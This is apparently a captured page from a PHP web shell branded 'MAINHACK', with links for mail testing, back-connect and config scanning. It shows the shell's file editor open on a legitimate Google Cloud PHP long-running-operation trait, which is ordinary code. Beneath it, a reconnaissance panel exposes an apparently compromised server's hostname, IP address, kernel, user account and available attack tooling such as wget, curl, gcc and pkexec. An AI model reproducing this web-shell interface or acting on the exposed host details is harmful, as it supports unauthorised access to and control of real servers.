[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LROTrait.php
<?php /** * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Core\LongRunning; use Google\Cloud\Core\Iterator\ItemIterator; use Google\Cloud\Core\Iterator\PageIterator; use Google\Cloud\Core\LongRunning\LongRunningConnectionInterface; /** * Provide Long Running Operation support to Google Cloud PHP Clients. * * This trait should be used by a user-facing client which implements LRO. */ trait LROTrait { /** * @var LongRunningConnectionInterface * @internal */ private $lroConnection; /** * @var array */ private $lroCallables; /** * @var string */ private $lroResource; /** * Populate required LRO properties. * * @param LongRunningConnectionInterface $lroConnection The LRO Connection. * This object is created by internal classes, * and should not be instantiated outside of this context. * @param array $callablesMap An collection of form [(string) typeUrl, (callable) callable] * providing a function to invoke when an operation completes. The * callable Type should correspond to an expected value of * operation.metadata.typeUrl. * @param string $lroResource [optional] The resource for which operations * may be listed. */ private function setLroProperties( LongRunningConnectionInterface $lroConnection, array $lroCallables, $resource = null ) { $this->lroConnection = $lroConnection; $this->lroCallables = $lroCallables; $this->lroResource = $resource; } /** * Resume a Long Running Operation * * @param string $operationName The Long Running Operation name. * @param array $info [optional] The operation data. * @return LongRunningOperation */ public function resumeOperation($operationName, array $info = []) { return new LongRunningOperation( $this->lroConnection, $operationName, $this->lroCallables, $info ); } /** * List long running operations. * * @param array $options [optional] { * Configuration Options. * * @type string $name The name of the operation collection. * @type string $filter The standard list filter. * @type int $pageSize Maximum number of results to return per * request. * @type int $resultLimit Limit the number of results returned in total. * **Defaults to** `0` (return all results). * @type string $pageToken A previously-returned page token used to * resume the loading of results from a specific point. * } * @return ItemIterator<LongRunningOperation> */ public function longRunningOperations(array $options = []) { if (is_null($this->lroResource)) { throw new \BadMethodCallException('This service does list support listing operations.'); } $resultLimit = $this->pluck('resultLimit', $options, false) ?: 0; $options['name'] = $this->lroResource .'/operations'; return new ItemIterator( new PageIterator( function (array $operation) { return $this->resumeOperation($operation['name'], $operation); }, [$this->lroConnection, 'operations'], $options, [ 'itemsKey' => 'operations', 'resultLimit' => $resultLimit ] ) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002